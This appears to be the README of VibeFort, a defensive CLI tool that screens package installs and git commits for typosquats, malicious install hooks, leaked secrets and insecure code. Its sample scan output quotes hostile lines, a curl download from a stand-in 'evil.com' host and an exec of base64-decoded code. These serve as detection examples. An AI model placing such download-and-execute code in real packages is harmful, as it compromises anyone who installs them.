vibefort 0.3.4

Security layer for AI-assisted development. One command, permanent protection.

🏰 VibeFort

Security layer for AI-assisted development. One command, permanent protection.

VibeFort protects vibecoders (Cursor, Bolt, Replit, Claude Code users) from supply chain attacks, leaked secrets, and insecure AI-generated code. Run vibefort install once — it silently protects every package install and git commit forever.

Quick Start

pipx install vibefort
vibefort install

That's it. You never type vibefort again.

Why pipx? VibeFort is a system-wide CLI tool, not a project dependency. pipx installs it globally in an isolated environment — the standard way to install Python CLI tools. Install pipx if you don't have it: brew install pipx (macOS) or apt install pipx (Ubuntu).

What Happens After Install

# Normal pip usage — VibeFort intercepts silently
$ pip install flask
✔ flask 3.1.0 — clean (0.2s)

$ pip install reqeusts
✖ BLOCKED reqeusts
  Possible typosquat — similar to 'requests'
  Did you mean: requests

$ pip install flask-ai-helper-utils
✖ BLOCKED flask-ai-helper-utils
  Package does not exist on PyPI
  This may be a hallucinated package name from an AI tool (slopsquatting)

$ pip install /tmp/evil-test-pkg/
✖ BLOCKED /tmp/evil-test-pkg
  setup.py
    • Runs system commands during install
    • Downloads files from the internet during install
  __init__.py
    • Contains hidden base64-encoded code (trying to avoid detection)
    • Decodes and executes hidden code (classic malware pattern)
  Evidence:
     9  subprocess.call(["curl", "http://evil.com/payload.sh"])
     2  exec(base64.b64decode("aW1wb3J0IHNvY2tldC..."))

# Normal git usage — VibeFort scans staged files
$ git commit -m "add config"
✖ VibeFort blocked this commit — 1 secret(s) found
  config.py:14
    Detected a Generic API Key

Supported Package Managers

VibeFort intercepts 12 package managers across Python and Node.js:

Python

Manager	Commands intercepted
pip / pip3	pip install flask
uv	uv pip install flask, uv add flask
pipx	pipx install black
poetry	poetry add flask
pdm	pdm add flask

Node.js

Manager	Commands intercepted
npm	npm install, npm add, npm i
npx	npx create-react-app (scans before execute)
yarn	yarn add express
pnpm	pnpm add express
bun	bun add express
bunx	bunx cowsay (scans before execute)

npx and bunx are especially dangerous — they download AND execute code in one step. VibeFort scans the package before allowing execution.

Features

Package Scanning (automatic, every install)

Every package install goes through two tiers:

Tier	What it checks	Speed	When
Tier 1	Known-safe cache (10k PyPI + 10k npm), typosquatting, slopsquatting, registry existence, CVE check via osv.dev	< 500ms	Every install
Tier 2	Downloads to temp, inspects setup.py/package.json hooks, .pth files, obfuscated code	3-5s	Unknown packages only

Secret Scanning (automatic, every commit)

Git pre-commit hook powered by betterleaks (234 detection rules):

• AWS, OpenAI, Anthropic, GitHub, Stripe, Google API keys
• SSH/PGP private keys, JWT tokens
• Database connection strings
• And 220+ more patterns

Code Scanning (vibefort scan)

Scan your project for insecure patterns AI coding tools commonly generate:

$ vibefort scan .

  CRITICAL (2)
    app.py:12 — SQL injection — f-string in database query
    utils.py:8 — Insecure deserialization — pickle.load can execute arbitrary code

  HIGH (3)
    run.py:5 — Command injection risk — subprocess with shell=True
    settings.py:1 — Debug mode enabled — should be False in production
    app.js:23 — XSS risk — innerHTML assignment

  5 issue(s) found (2 critical)

Detects: SQL injection, XSS, insecure deserialization (pickle, yaml.load), command injection (shell=True, os.system), debug mode, hardcoded passwords, CORS wildcards, .env not in .gitignore.

Dependency Auditing (vibefort deps)

Audit all project dependencies at once:

$ vibefort deps .

  ✖ reqeusts==2.28.0 (requirements.txt)
    Possible typosquat: similar to 'requests'

  ✖ flask==2.0.0 (requirements.txt)
    GHSA-xxxx: Known vulnerability (fix: upgrade to 2.3.2)

  2 issue(s) found in project dependencies.

Reads requirements.txt, pyproject.toml, package.json, Pipfile, package-lock.json, and poetry.lock. Checks every dependency against typosquatting, CVE databases, and lock file integrity.

System Audit (vibefort audit)

Check if your machine is already compromised:

$ vibefort audit

  ✖ Malicious .pth file — contains 'import' (executes code every time Python starts)
    /usr/lib/python3/site-packages/evil.pth

  1 potential issue(s) found.

Checks: malicious .pth files in Python site-packages, known backdoor artifacts, suspicious processes, cron jobs (Linux), LaunchAgents (macOS).

Per-Project Allowlist (.vibefort.toml)

Whitelist packages, files, or rules to prevent false positives:

# .vibefort.toml in your project root
[allow-packages]
"my-internal-sdk" = "private registry"

[allow-files]
"tests/fixtures/fake_keys.py" = "test dummy keys"

[allow-rules]
"generic-api-key" = "false positives in test files"

Auto-Fix Suggestions

When vibefort scan finds issues, it offers to fix them:

• .env not in .gitignore → offers to add it
• DEBUG = True → suggests using environment variables
• Hardcoded passwords → suggests moving to .env
• yaml.load() → suggests yaml.safe_load()
• subprocess(shell=True) → suggests list form

All Commands

Command	Description
vibefort install	One-time setup — hooks + secret scanner
vibefort uninstall	Clean removal of all hooks
vibefort status	Dashboard with version, stats, update check
vibefort scan [path]	Scan project for secrets + insecure code
vibefort deps [path]	Audit all dependencies for vulnerabilities
vibefort audit	Check machine for signs of compromise
vibefort update	Self-update to latest version
vibefort config	View or edit settings
vibefort completions zsh	Generate shell completions

How Install Works

vibefort install does two things that persist forever:

1. Shell hook — Adds function wrappers to ~/.zshrc or ~/.bashrc that intercept all 12 package managers. Loads every time a terminal opens.

2. Git hook — Sets a global pre-commit hook via git config --global core.hooksPath. Applies to every repo.

A 🏰 icon appears in your terminal prompt and window title when VibeFort is active, showing scan stats.

vibefort uninstall cleanly removes both.

Security

VibeFort is a security tool — we take our own security seriously:

• 4 security audits completed (shell injection, path traversal, symlink attacks, Rich markup injection, TOCTOU races)
• All subprocess calls use list form (no shell=True)
• Manager arguments validated against whitelist
• Downloaded binaries verified with SHA256 checksums (fail-closed)
• ~/.vibefort/ directory set to 0700, config to 0600
• Secret values from scans are never stored or logged
• Scanning uses --ignore-scripts (npm) and prefers wheels (pip) to prevent code execution during analysis
• File scanning has 10MB size limit and skips symlinks
• See SECURITY.md for vulnerability reporting

Privacy

VibeFort is local-first. No accounts, no telemetry, no data collection.

Network calls made:

• PyPI/npm registries — to check if packages exist and for metadata (same as pip/npm themselves)
• osv.dev — to check for known CVEs (package name + version only)
• GitHub — to download the betterleaks binary (one-time, on install)
• PyPI — to check for VibeFort updates (only when you run vibefort status)

No source code, secrets, or project data ever leaves your machine.

License

MIT — see LICENSE.

Secret scanning powered by betterleaks (MIT). See THIRD_PARTY_NOTICES.